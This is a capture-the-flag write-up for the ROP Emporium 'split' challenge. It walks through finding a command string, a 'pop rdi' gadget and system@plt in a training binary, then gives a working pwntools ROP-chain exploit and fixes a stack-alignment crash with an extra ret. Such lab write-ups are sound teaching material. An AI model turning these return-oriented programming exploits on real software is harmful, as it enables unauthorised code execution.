2. split

the second challenge, now the element of the first challenge is still present in this challenge but the string "/bin/cat flag.txt" is not in the same function as the first challenge, we have to somehow find the string and put it in the register and call the system function.

in this challenge the binary is NX enabled so we can't just execute the stack. now we really need to use ROP to solve the challenge, we can check the binary permissions using rabin2 or checksec, I'll use rabin2 here.

┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ rabin2 -I split
arch     x86
baddr    0x400000
binsz    6805
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
nx       true
os       linux
pic      false
relocs   true
relro    partial
rpath    NONE
sanitize false
static   false
stripped false
subsys   linux
va       true

now, let's investigate the binary using gdb.

gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000400528  _init
0x0000000000400550  puts@plt
0x0000000000400560  system@plt
0x0000000000400570  printf@plt
0x0000000000400580  memset@plt
0x0000000000400590  read@plt
0x00000000004005a0  setvbuf@plt
0x00000000004005b0  _start
0x00000000004005e0  _dl_relocate_static_pie
0x00000000004005f0  deregister_tm_clones
0x0000000000400620  register_tm_clones
0x0000000000400660  __do_global_dtors_aux
0x0000000000400690  frame_dummy
0x0000000000400697  main
0x00000000004006e8  pwnme
0x0000000000400742  usefulFunction
0x0000000000400760  __libc_csu_init
0x00000000004007d0  __libc_csu_fini
0x00000000004007d4  _fini

interesting, what's inside the usefulFunction..?

gef➤  disas usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400742 <+0>:     push   rbp
   0x0000000000400743 <+1>:     mov    rbp,rsp
   0x0000000000400746 <+4>:     mov    edi,0x40084a
   0x000000000040074b <+9>:     call   0x400560 <system@plt>
   0x0000000000400750 <+14>:    nop
   0x0000000000400751 <+15>:    pop    rbp
   0x0000000000400752 <+16>:    ret
End of assembler dump.

oh, so it's pretty similar to the ret2win function from the previous challenge what's the string being put in the register let's see...

gef➤  x/s 0x40084a
0x40084a:       "/bin/ls"

ah, so it's just a function to call ls using the system, I'm sure this function is present for the binary to present system inside the binary.

now, let's find some useful strings in the binary using rabin2.

┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ rabin2 -z split
[Strings]
nth paddr      vaddr      len size section type  string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0   0x000007e8 0x004007e8 21  22   .rodata ascii split by ROP Emporium
1   0x000007fe 0x004007fe 7   8    .rodata ascii x86_64\n
2   0x00000806 0x00400806 8   9    .rodata ascii \nExiting
3   0x00000810 0x00400810 43  44   .rodata ascii Contriving a reason to ask user for data...
4   0x0000083f 0x0040083f 10  11   .rodata ascii Thank you!
5   0x0000084a 0x0040084a 7   8    .rodata ascii /bin/ls
0   0x00001060 0x00601060 17  18   .data   ascii /bin/cat flag.txt

rabin2 is pretty cool that it also tell us the string address.

okay, let's find ROP gadgets to craft our ROP chain, I'll be using ROPgadget to do that. but first let's see what do we need to craft our ROP chain.

first we need to set rdi register to the address of the string we want to use. then we need to call the system function. easy enough let's find it.

┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ ROPgadget --binary split | grep rdi
0x0000000000400288 : loope 0x40025a ; sar dword ptr [rdi - 0x5133700c], 0x1d ; retf 0xe99e
0x00000000004007c3 : pop rdi ; ret
0x000000000040028a : sar dword ptr [rdi - 0x5133700c], 0x1d ; retf 0xe99e

we got both the system function address and our gadget now let's craft our ROP chain.

from pwn import *

p = process("./split")

padding = b"X"*40
shell_str_addr = 0x601060
system_addr = 0x400560
pop_rdi = 0x4007c3

payload = padding + p64(pop_rdi) + p64(shell_str_addr) + p64(system_addr)

p.sendline(payload)
print(p.recvall().decode("utf-8"))

here we go...

┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ python write-up.py
[+] Starting local process './split': pid 3485
[+] Receiving all data: Done (87B)
[*] Stopped process './split' (pid 3485)
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!

huh? what happened why don't we get our flag let's investigate some more by attaching gdb to the process.

let's edit our script a bit.

from pwn import *

p = process("./split")
script = """
break *0x400560
"""

gdb.attach(p, gdbscript=script)

padding = b"X"*40
shell_str_addr = 0x601060
system_addr = 0x400560
pop_rdi = 0x4007c3

payload = padding + p64(pop_rdi) + p64(shell_str_addr) + p64(system_addr)

p.sendline(payload)
print(p.recvall().decode("utf-8"))

now let's debug!

     0x400550 <puts@plt+0>     jmp    QWORD PTR [rip+0x200ac2]        # 0x601018 <puts@got.plt>
     0x400556 <puts@plt+6>     push   0x0
     0x40055b <puts@plt+11>    jmp    0x400540
●→   0x400560 <system@plt+0>   jmp    QWORD PTR [rip+0x200aba]        # 0x601020 <system@got.plt>
     0x400566 <system@plt+6>   push   0x1
     0x40056b <system@plt+11>  jmp    0x400540
     0x400570 <printf@plt+0>   jmp    QWORD PTR [rip+0x200ab2]        # 0x601028 <printf@got.plt>
     0x400576 <printf@plt+6>   push   0x2
     0x40057b <printf@plt+11>  jmp    0x400540
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "split", stopped 0x400560 in system@plt (), reason: BREAKPOINT

breakpoint hit let's step into it.

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f05949535f4 <do_system+324>  mov    QWORD PTR [rsp+0x60], r12
   0x7f05949535f9 <do_system+329>  mov    r9, QWORD PTR [rax]
   0x7f05949535fc <do_system+332>  lea    rsi, [rip+0x149a4c]        # 0x7f0594a9d04f
 → 0x7f0594953603 <do_system+339>  movaps XMMWORD PTR [rsp+0x50], xmm0
   0x7f0594953608 <do_system+344>  mov    QWORD PTR [rsp+0x68], 0x0
   0x7f0594953611 <do_system+353>  call   0x7f05949fd230 <__GI___posix_spawn>
   0x7f0594953616 <do_system+358>  mov    rdi, rbx
   0x7f0594953619 <do_system+361>  mov    r12d, eax
   0x7f059495361c <do_system+364>  call   0x7f05949fd130 <__posix_spawnattr_destroy>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "split", stopped 0x7f0594953603 in do_system (), reason: SIGSEGV

why did we get SIGSEGV here, interesting...
after some reasearching i found this:

The MOVAPS issue If you're segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.

so basically our rsp is not 16-byte aligned before calling do_system, we can check that by listing our registers.

gef➤  info registers
rax            0x7f0594ae2320      0x7f0594ae2320
rbx            0x7ffdb45c3948      0x7ffdb45c3948
rcx            0x7ffdb45c3948      0x7ffdb45c3948
rdx            0x0                 0x0
rsi            0x7f0594a9d04f      0x7f0594a9d04f
rdi            0x7ffdb45c3744      0x7ffdb45c3744
rbp            0x7ffdb45c37a8      0x7ffdb45c37a8
rsp            0x7ffdb45c3738      0x7ffdb45c3738
r8             0x7ffdb45c3788      0x7ffdb45c3788
r9             0x7ffdb45c3be8      0x7ffdb45c3be8
r10            0x8                 0x8

see? our rsp ends with 0x8 which means our stack is not 16-byte aligned.

so we need to make our rsp 16-byte aligned. let's find extra ret to do that.

0x000000000040053e : ret

cool!, now let's pad our ROP to make our rsp 16-byte aligned.

from pwn import *

p = process("./split")
script = """
break *0x400560
"""

gdb.attach(p, gdbscript=script)

padding = b"X"*40
shell_str_addr = 0x601060
system_addr = 0x400560
pop_rdi = 0x4007c3
ret = 0x40053e

payload = padding + p64(pop_rdi) + p64(shell_str_addr) + p64(ret) + p64(system_addr)

p.sendline(payload)
print(p.recvall().decode("utf-8"))

this should work now let's try it!.

┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ python write-up.py
[+] Starting local process './split': pid 3742
[*] running in new terminal: ['/usr/bin/gdb', '-q', './split', '3742', '-x', '/tmp/pwnobnrixxs.gdb']                                   [+] Waiting for debugger: Done
[+] Receiving all data: Done (120B)
[*] Stopped process './split' (pid 3742)
split by ROP Emporium
x86_64

Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}

let's go! we got the flag!!!